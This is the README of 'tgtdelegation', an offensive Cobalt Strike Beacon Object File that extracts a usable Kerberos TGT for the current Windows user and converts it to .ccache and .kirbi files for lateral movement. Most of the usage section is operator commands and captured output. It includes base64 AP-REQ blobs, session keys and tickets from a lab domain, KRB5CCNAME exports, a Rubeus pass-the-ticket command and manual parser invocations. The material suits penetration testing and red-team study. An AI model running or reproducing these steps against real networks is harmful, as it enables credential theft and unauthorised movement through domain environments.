tgtdelegation

  __          __      .___     .__                       __  .__               
_/  |_  _____/  |_  __| _/____ |  |   ____   _________ _/  |_|__| ____   ____  
\   __\/ ___\   __\/ __ |/ __ \|  | _/ __ \ / ___\__  \\   __\  |/  _ \ /    \ 
 |  | / /_/  >  | / /_/ \  ___/|  |_\  ___// /_/  > __ \|  | |  (  <_> )   |  \
 |__| \___  /|__| \____ |\___  >____/\___  >___  (____  /__| |__|\____/|___|  /
     /_____/           \/    \/          \/_____/     \/                    \/

Beacon Object File (BOF) to obtain a usable TGT for the current user. This data blob is passed to tgtParse.py/tgtParse.exe ("custom" Impacket scripts to decrypt/parse the Kerberos data blobs) and ticketConverter.py/ticketConverter.exe automatically, via tgtdelegation.cna, to be leveraged as a usable .ccache and/or .kirbi for lateral movement with Impacket, Rubeus, and other supported tools over Kerberos. If you would like to specify a domain, you may specify it. If you would prefer to just use your current domain, specify the currentdomain option, which queries the environmental variable USERDNSDOMAIN and passes it to tgtdelegation. Additionally, you may specify a SPN or use a default SPN for CIFS/PDC.DOMAIN.LOCAL. This SPN argument is available in case the default SPN is not configured for unconstrained delegation. To use all defaults, the following command is used: tgtdelegation currentdomain default. To specify a domain/SPN, the following command could be used: tgtdelegation MARVEL.LOCAL CIFS/Earth-DC.marvel.local. The target SPN needs to be configured with unconstrained delegation if you decide to specify a SPN. This is because the tgtdeleg trick doesn't just "request a TGT", but instead it prepares a TGT to be sent to the "fake target (e.g. the target SPN)". From here, the TGT is extracted from the Windows API call to InitializeSecurityContext. This is why the target is required to be configured with unconstrained delegation.

Requirements

tgtdelegation requires python3.9. If you are using a "semi-recent" Kali Linux build, python3.9 should already be installed. Verify this by entering the command python3.9 -V.

In the event you do not have python3.9 installed, a script has been included named install_python_39.sh. PLEASE RUN THIS SCRIPT AFTER CLONING THE REPOSITORY IF YOU DO NOT HAVE python3.9 INSTALLED!

The provided tgtdelegation.cna Aggressor Script, which automated the Kerberos parsing/decryption, calls the python3.9 binary directly and does not call python3. This is because the install_python_39.sh script does not change the "default" version of Python and instead installs python3.9 alongside other versions of Python.

Usage

(Optional) Run tgtdelegation/install_python_39.sh as a sudo user or root (if python3.9 is not already installed)

Open Script Console in Cobalt Strike and enter the following command: load /path/to/tgtdelegation/tgtdelegation.cna
tgtdelegation [FQDN/currentdomain SPN/default]

beacon> tgtdelegation currentdomain default
[+] host called home, sent: 9086 bytes
[+] received output:
[+] No domain specified! Using the USERDNSDOMAIN environmental variable...

[+] received output:
[+] Found a DC for the domain MARVEL.LOCAL!
[+] DC: \\Earth-DC.marvel.local

[+] received output:
[+] No SPN specified! Using default SPN...

[+] received output:
[+] Target SPN: CIFS/Earth-DC.marvel.local

[+] received output:
[+] Successfully obtained a handle to the current credentials set!

[+] received output:
[+] Successfully initialized the Kerberos GSS-API!

[+] received output:
[+] The delegation request was successful! AP-REQ ticket is now in the GSS-API output.

[+] received output:
[+] Successfully invoked LsaCallAuthenticationPackage! The Kerberos session key should be cached!

[+] received output:
[+] Job nonce: 547694409

[+] AP-REQ output:
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

[+] Kerberos session key:
Fs9hEJf95q0WfVrXmJ6qs5czYfB0jajuKIHJuGom9mA=

[+] Encryption:
AES256

[+] received output:
[+] tgtdelegation succeeded!

[+] Invoking tgtParse.py to obtain a usable .ccache!

[+] Successfully decrypted the AP-REQ response!

[+] Local path to usable .ccache: /Users/cmcgarr/[email protected]
[+] Local path to usable .kirbi: /Users/cmcgarr/[email protected]
[+] Base64 encoded .kirbi:
doIFAjCCBP6gAwIBBaEDAgEWooIECzCCBAdhggQDMIID/6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMTUFSVkVMLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA63pQaeWp0BYSHO2JrNTouHkOJIO44Kl+G0dQwgo9hCVtn+rz+gHNq52RXRn+5/K82gL3GUUJUpOs8krUx+lyd1s9Ys0o8ECMEvdhGbmeGOd/2hnTIpdhZg+4gwP8iX+wMi7cAxJjmS9BpJ3s7TMimfov9TOKQ+8Uh7eFEZY7X/jTBEpr3Q7ZsQqwwk7z0IpHSRk6ZvKoWdsET1p/fnp/RqU05h5Qv7l1plj5nT7wELRtyYMCGDQGII6nvY+OyJGo1zGe8wQX/g/2ckcSP1G9MPjP4z4zPFKba2uDoKq1zO/+F1eRB43WfpAil6FkK0WDnFDGsrUjJ7CztKPocwj6NtBf2Fppf4Wz3Mur5wyD7UXv5qafr6EToQLSqsbspAzx1wiJLzbiWf6JuRWyeWv2K3ceZjv8kV7lP0grMmHNm5SCBE7Y2NoEOgmmWTpmOnd/iHlXGVXXJFR0g9fNXait2DQT67tTiD020BHjU/iheeh4H7dtzG9KfXC3KjnuWW+aTKnzt+KJKC455LVbqXlY83hVjtxyBU9qpepKHO+1ttv6SkFV40aa0eEZSncxM/W/S0Dh43DvGENAGDEQXA6QaELg4cJsNk1mMBfABfczslbR4y++npSAtCvwz9swN6VsYKtIT46hrR0NZAMJeWSHGf3UhhCamMjJTNHqceR35Rh/NqYWShkYD6XpqC5WvE6Kuy6+PpwlL+OZDziBtDDEBiN0FbgQWEzmd/e/D2aPbW8LwcFjRvemzN3gfg3IdaT85yvlX6CcvOSUa2033c7Pa0WWbgCZ9vVTSFIhrhBfD739VmQMcQLN9gYQp36qlS49CXVaymg/UNRkiiUoNsk/BG79UUw5JKzms2eTRy0KA0OqAaNbfBYDwCGB31g0Gvl3APKQk3iYdKoPXDeRAfzriHEFeWjRsjiu6qp8Ngk43aputpoy286JcOYfgKW0gCl5R2ndOSEJ71ovW5agn7uAKO3XL1FLWEkRL6oEZsxHe4IjBer45c5Nzj9YDA8SxfxJ3/EVxY+FhjFe3GIj4aZ6hWIAkt5pcbof6nw7VE22XdjPNBjdd6Ls+kUVNZ71PHPFQbHE4KV0O4hh30TK22G5vWPY6WfhE7BYMLlIhSJdkRQd7RSNd2EkofKdnk3p3HHQhbxsPznZI0TEHcYQaOa52g7XQ3Ze1pqm4/xKZ0XRl0pFFpiHVqOi/Y3R4VKmbOpaHBV+9+o+6FKnR+tL9i1rbH36aFiGT8rU5Vy1oXDc6OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIJlE0VczZlis4ESzXaGTQN/T8gBzL7NumKBiN2wgBuHvoQ4bDE1BUlZFTC5MT0NBTKIRMA+gAwIBAaEIMAYbBGxva2mjBwMFAcFCAAClERgPMjAyMTA2MjUxNTE3MDJaphEYDzIwMjEwNjI1MjExMTU1WqcRGA8yMDIxMDcwMTE1NTUxNFqoDhsMTUFSVkVMLkxPQ0FMqSEwH6ADAgECoRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=

When tgtdelegation is invoked, the tgtdelegation CNA script will automatically invoke tgtParse.py or tgtParse.exe/ticketConverter.py or ticketConverter.exe, which are ASN1 parsers/AP-REQ decrypters and ticket converters that can output a usable .ccache or .kirbi for Kerberos lateral movement. tgtParse.py, tgtParse.exe, ticketConverter.py, and ticketConverter.exe can be found in tgtdelegation/tgtParse. The tgtdelegation.cna will automatically invoke a command in order to determine if a Mac OS, Linux, or Windows Cobalt Strike client is in use, and will invoke the appropriate parser/decrypter and converter. tgtParse.exe and ticketConverter.exe are PyInstaller standalone .exe binaries that will perform the identical actions of tgtParse.py and ticketConverter.py. Upon completion, operators need only specify the full path to the .ccache file, outputted from tgtdelegation, as the KRB5CCNAME environmental variable to use Kerberos authentication in an off-host/SOCKS proxy manner with Impacket:

export KRB5CCNAME=/path/to/[email protected]

export KRB5CCNAME=/path/to/[email protected]

This .ccache can also be applied directly to a Beacon as well, with the following command:

kerberos_ccache_use /path/to/.ccache_from_tgtdelegation

tgtdelegation will also output a Base64 encoded .kirbi file, as well as dropping the .kirbi to the same path as the previous .ccache. This Base64 blob can be leveraged with Rubeus.exe to pass the ticket as such:

Rubeus.exe ptt /ticket:base_64_kirbi_blob_from_tgtdelegation

If you would prefer to parse and decrypt the AP-REQ manually, leverage the following command, by manually supplying the Base64 encoded AP-REQ response, Base64 encoded Kerberos session key, and the encryption type with either tgtParse.py/tgtParse.exe:

python3.9 tgtParse.py --apreq YIILhgYJKoZIhvcSAQICAQBuggt1MIILcaADAgEFoQMCAQ6iBwMFACAAAACjggR4YYIEdDCCBHCgAwIBBaEOGwxNQVJWRUwuTE9DQUyiKDAmoAMCAQKhHzAdGwRDSUZTGxVFYXJ0aC1EQy5tYXJ2ZWwubG9jYWyjggQtMIIEKaADAgESoQMCAQOiggQbBIIEFyQL2nHM/D2pwDV7snigxMRrKOa6iNk0dgCpMsD91aYmFfwJVDOcKzexnwgE6E6aeu6odPeURE9Xmu+bThJNb8vp+mXlpfDA9bQQGug6UJX2UxEfSFUoR2baK7l+rUpU3vd+ajHYupKpQSUkSu/ZYive5QN3ao9GV6hoP+Ev1MN9sbP/m/4Dwz0R1D6DRPvW+3L3edniM1fKfh8xEBl3U1qVupiJ7CuMOL9hfu3tcbyAl1fmBcbaNoaz/eWNBdHvK2tb16p+3x2mIMQ5dAaXRQnoTJ2GHhJBPOPDG4tjwU0PfEEfjUubFOl/jyNbZBAPAmfHwJ5msppHZAp5uk+tObKzbUpInhWIFyTyiclL27Utye6WyyyX5XEpkWEyTxBaBvqvXu4mugLf4ykcLRccoHlUEYCa1EVFWJYYF3BuaDEVZzsh+/PPY37XyQwJgTnTq2TNou4XIQ6A4L4izdsgJoUl8SOldqguCQwMGBo0+X5j97gC1mla7icXJHXC3U+SGXUPi+Ge6gPnOyVwfYQ1Na4StpDWRFtgOazZkISaOg1MjFNfDtXCtID0Ahsi+gh8vf3ZW34jUwpbpNSl/aN0RIy55K772TYTFQFL3oC4XR/9reteY977P6+tgk/Xj4PUQII3nEmNi/DqPlU3nGg200L7gHVsnhZPoZFF6g0cOKTUmrguBgnCVcJDdTE9zmqQnVeEHmrzrp34nEWmNO7anOsJshvS85pwJU1lwKZ8TiMuD820Z5tX5aT6Iyf6HdRuxHWjsCJUWXg1FTQgXlO6gvFe5FI2khfzrwu11z3dYHWS0GtBWXKv+3FgbtwKQa7ML+n9bkBOq0Vit61ApG01i90Kj+or79vkm3z19jIpLDDYKPxWGsjV0SDWYrey8DlNq+relaQeT9+5Hd43so/fVIQzYiNlxBpTHD/VdAtKBAKPTgWs7kxTkEs33uqKsvkZk2dQ/SDRt6yzQJqlFoTVmsgFqq4oIpoCjGBJ5GlvQWPxbsZj54H9LUqwVO9t4afJmQOxrf6EI+F0RlWIed52OQK1FV+vvv/wsEETgIq13ijE2qnmqu1rdgF6PQzl1TTrokKXw4aTXA3rALAwGsfhufY79jl5FgElg8ULC40zzqRk9hPc+XkTCT1/CbS1EEidqkyuBj/nSiQxk88l+3KQdVMgfy7MA+4bW1QwdAvOyqAGvT7L95M4DUUWrq08l/pXuij10fzJ02CI98CA+qvCOccpXfEXSabS+8Bb2QbAMyw9pXe7zZ1NKp7syakPRv0lL82JwT9ZmgCLTY+5yJzLI8e7nZxcD0WuflQ8ie/6eBBzm+NB9CTKzocjtA+lvAv3284soTW1vNjV7cODSMgbUydCXpqf3rH6jWosAQML3P8wHr8P2ZNGMqSCBt4wggbaoAMCARKiggbRBIIGzWLP7R++1jENeKqWa/LjAiLAhf9b/NQS6BWwDvatB9PIw5kFPj17K2zdqTXCssTaUC3IU78CTfD1H0BOtOqiCv9+DcH13e16YvnWKIx2+TnXU0EbFxgMculVh/LT6/1LL7I25AcjoOiwo92QuMRQa6lciT+QV8c3TX6WD/PHHlFgee3jbhZTryMnWVbnpLV+pVMwPKutZzjdYtjdnE6NPkhru7FGaCEfpGQdAIVi17pO2hVuwBRpjjomYc8xYBz+isSapuw5jVi9S33Rctr5Ns7wfMxGR3BgWM28lGnyuybC2ZhKi1GVOk5E+5s7CH5YGS8dk5NVBsENNGM6gTiHuklsuOBW52NXPUVInOnIb/NgnnpZfsbuDhwrHxvaEkw8wcYK0TcjZJgolJsyMfEKHniUHHZis51PT8uBQlN7GNQerUDY5iRasUD+MVARvR7EfS1jOJ05NcB2+gixQ4jy8/A1/MluOWyiL3StSPO7nXeDzlM0vw9N1UUwf1Cw/YAXwVTufxWbprPg6uBhD4ZkB54LM0BokH1ZPqRFd8bHqu+NCWnKmTnYGU4jEd/RhgVUYlhDbhI7VqGV16bZEn6GvSTPYN338+dvKVOVZ1IxK8UcNexjMaCEpXkWvd3ElRYPc2hnAi7dLLokAvXEa3A5mXIUU+ZlWI57gzEK+KINVdLPRY37t8Em4yb143hsO6hQXmGN2TpJfnjvAu10pr2SOkXDbqOwBTzkXteNAEsksXzZo4bVxOUla9JAgrhcQz9F/rMfPk2fvre00bXNiqVaghmKL/DnnR+RxuUYQ4gisLpEvS5xH2FrXPjLkcMr5WRVWXf4xOVDUiL2Y2fv2Reksmab3V91zN5NMAP9GIM5aokcP0u1MIlfjOu9DTHJmIBNIt5ndIlJVYB1nKTh+NO/QyB0Egn5ntvC3LL9ltk1gJZwIKXe85wUJqpsSBJ7/uXSmyw4Pu+dYkEzvfxxCvyHXIJGQQJU+wFXbOizkuC2/e4AP9y3b2wmtupasDkqKCQJAGYcdJinwX5DcVhVh1X+qsVKGrVSfjdC0zEYD+u09oZVvOxwl3/yKTz7nSaRpYror0FoTzeurR9Qu66pxEVhmSbe2qi0rmeDJVikOmB1znePGpcKGp9hqUe6wzKv296boPJYh3pNCW6xnUBEme9p29R8jzQyQs+ixMgHrXTgQ31D2hcEWZQWCIr97WB4oFXL0wqOcVAgvDPBJgxwKy4YaT49L+MV1YQGioRWJSFQrpZ6blNwsyTRSVkETn+MLg7HIOLXGAs39kLfJ4euXfBrfT6dN3l8UlBFLGRjAE+eIfq6BSfEKs54rNmt4lWLGb/MeTVbWGDHLp4NG3sHcJXaRBo/7StxnQ7XyQ0T0gXt7JuKQF9L00C9ezOG3bWpNstHmFL3Cb6X4PFn5YpRziTjw/HcYQIX3ZWUSIpVbD4su9ZFHNxJw5OgRdDPdkZMgUUz+ZMnSep+AfzQFoWv+TTHe70F24DWnWYRS5JGc3Z3HTuzkxWl1YFqjaOfCKq/DuIO0Q68MeWmw1eyxkllKFTZl6fEx70ls+l5hBYOiPxUeKO89M3lPBKsRSP8BsBlApsdsPypp0TqyBXVkW76OFkHg4DhYIUB5Va40qE6A80b+UY1mR2afumxt+C60eygubsm4lwlcaA+toWq293sSXhUMdnv28yj9a4qyyN8LvAqrIhsuRgUvXuo1gHxElFsR6YbWHiEWuQCx2duZzhE9Ze1xPBwRDMTSCH6y0e1h/jmvRxkti2MF8mAiuq/Rg2Pi2z8rUlH2JOiX8Lh+J9+6KKoE9GdQhJK8mNrxnKNCDduRAn64ssWp7XxWDnyepSnhOcDMFuvCnRTwqtULSRjU9+VeUeNCmJpcjdmQo+ZAysLyQCgvYyua9xxNimUPWL/kGbxcoDmWWmAJSczVVokzs3ehLmBbOOpHYvkz/st9rovbt4fNceCL3TCToIyrAJ+cqJwxvNfuOf3iK+X0SduUH5GiVVs/DKjSRNfgLU//Kq97HOvR9P7NE6HR2qPH13+P5XlFvLSKmbk3cFztDqO0+OvMTVOqoj5cKuuoH3nH5npK1qXjwpKnajz3T4RMMUpZse+Ntt+m5jgb+fJx7oPiApwnQBPUBvVyjwCtlFq9A/AGgRBXWzG5dYsGpYlRReuAFO8UkzJOJtKNYsOedBKBRJsUE3a0qgDMrdi1FufrxVMR2qBRXxZ8eFoFRoSI1igfnjELSLM62VOAo26jcNv0wmPluVhcbqqBl4hdpj+YmM3yCPKaGQ4FfLZrzh4xUAjOr1LjRxXzO/+v7iadFAMaCs= --sessionkey oDv9x4eheTTUnSNtT7hqgNpysbfL5rlXOr88KM9163o= --etype AES256
[+] Identified ticket for [email protected]
[+] Successfully extracted the TGT! Saved as: [email protected]!
Local path to usable .ccache: /root/[email protected]

From here, you do not need to do any more converting, etc. - you now have a usable .ccache. The next step is to set the KRB5CCNAME environmental variable, on the machine you intend to use this .ccache file with:

export KRB5CCNAME=/path/to/[email protected]

It is also possible to manually invoke tickerConverter.py/tickerConverter.exe to convert the .ccache into a .kirbi and also a Base64 encoded .kirbi.

python3.9 ticketConverter.py /path/to/file.ccache /path/to/output/file.kirbi                                      ─╯
[*] converting ccache to kirbi...
Local path to usable .kirbi: /path/to/output/file.kirbi
doIFAjCCBP6gAwIBBaEDAgEWooIECzCCBAdhggQDMIID/6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMTUFSVkVMLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA63pQaeWp0BYSHO2JrNTouHkOJIO44Kl+G0dQwgo9hCVtn+rz+gHNq52RXRn+5/K82gL3GUUJUpOs8krUx+lyd1s9Ys0o8ECMEvdhGbmeGOd/2hnTIpdhZg+4gwP8iX+wMi7cAxJjmS9BpJ3s7TMimfov9TOKQ+8Uh7eFEZY7X/jTBEpr3Q7ZsQqwwk7z0IpHSRk6ZvKoWdsET1p/fnp/RqU05h5Qv7l1plj5nT7wELRtyYMCGDQGII6nvY+OyJGo1zGe8wQX/g/2ckcSP1G9MPjP4z4zPFKba2uDoKq1zO/+F1eRB43WfpAil6FkK0WDnFDGsrUjJ7CztKPocwj6NtBf2Fppf4Wz3Mur5wyD7UXv5qafr6EToQLSqsbspAzx1wiJLzbiWf6JuRWyeWv2K3ceZjv8kV7lP0grMmHNm5SCBE7Y2NoEOgmmWTpmOnd/iHlXGVXXJFR0g9fNXait2DQT67tTiD020BHjU/iheeh4H7dtzG9KfXC3KjnuWW+aTKnzt+KJKC455LVbqXlY83hVjtxyBU9qpepKHO+1ttv6SkFV40aa0eEZSncxM/W/S0Dh43DvGENAGDEQXA6QaELg4cJsNk1mMBfABfczslbR4y++npSAtCvwz9swN6VsYKtIT46hrR0NZAMJeWSHGf3UhhCamMjJTNHqceR35Rh/NqYWShkYD6XpqC5WvE6Kuy6+PpwlL+OZDziBtDDEBiN0FbgQWEzmd/e/D2aPbW8LwcFjRvemzN3gfg3IdaT85yvlX6CcvOSUa2033c7Pa0WWbgCZ9vVTSFIhrhBfD739VmQMcQLN9gYQp36qlS49CXVaymg/UNRkiiUoNsk/BG79UUw5JKzms2eTRy0KA0OqAaNbfBYDwCGB31g0Gvl3APKQk3iYdKoPXDeRAfzriHEFeWjRsjiu6qp8Ngk43aputpoy286JcOYfgKW0gCl5R2ndOSEJ71ovW5agn7uAKO3XL1FLWEkRL6oEZsxHe4IjBer45c5Nzj9YDA8SxfxJ3/EVxY+FhjFe3GIj4aZ6hWIAkt5pcbof6nw7VE22XdjPNBjdd6Ls+kUVNZ71PHPFQbHE4KV0O4hh30TK22G5vWPY6WfhE7BYMLlIhSJdkRQd7RSNd2EkofKdnk3p3HHQhbxsPznZI0TEHcYQaOa52g7XQ3Ze1pqm4/xKZ0XRl0pFFpiHVqOi/Y3R4VKmbOpaHBV+9+o+6FKnR+tL9i1rbH36aFiGT8rU5Vy1oXDc6OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIJlE0VczZlis4ESzXaGTQN/T8gBzL7NumKBiN2wgBuHvoQ4bDE1BUlZFTC5MT0NBTKIRMA+gAwIBAaEIMAYbBGxva2mjBwMFAcFCAAClERgPMjAyMTA2MjUxNTE3MDJaphEYDzIwMjEwNjI1MjExMTU1WqcRGA8yMDIxMDcwMTE1NTUxNFqoDhsMTUFSVkVMLkxPQ0FMqSEwH6ADAgECoRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
[+] done

A Word On ASN1

Please note that tgtdelegation, since Beacon Object Files cannot link to external libs like the ASN1 libs, will essentially perform "trial-by-error" to determine the encryption type. First AES256 is used. In my experiences, 99.9% of the time I have seen this to be the encryption type in use. If this fails, AES128 is tried. If this fails RC4 is used. Instead of being able to parse the AP-REQ blob to determine the encryption size, we do "trial-by-error" to identify the encryption type.

This is also why there is a need to pass the AP-REQ blob and Kerberos session key to the "custom" Impacket scripts, as tgtdelegation cannot use the same libraries as Kekeo and/or Rubeus to decrypt/parse the Kerberos blobs/structures. This is all automated via Aggressor in Cobalt Strike

Credits

Will Schroeder for Rubeus code examples

Benjamin Deply for Kekeo code examples

SecureAuthCorp for Impacket libraries

Beacon Object File (BOF) to obtain a usable TGT for the current user.

Related tags

Overview

tgtdelegation

Requirements

Usage

A Word On ASN1

Credits

Owner

Connor McGarr

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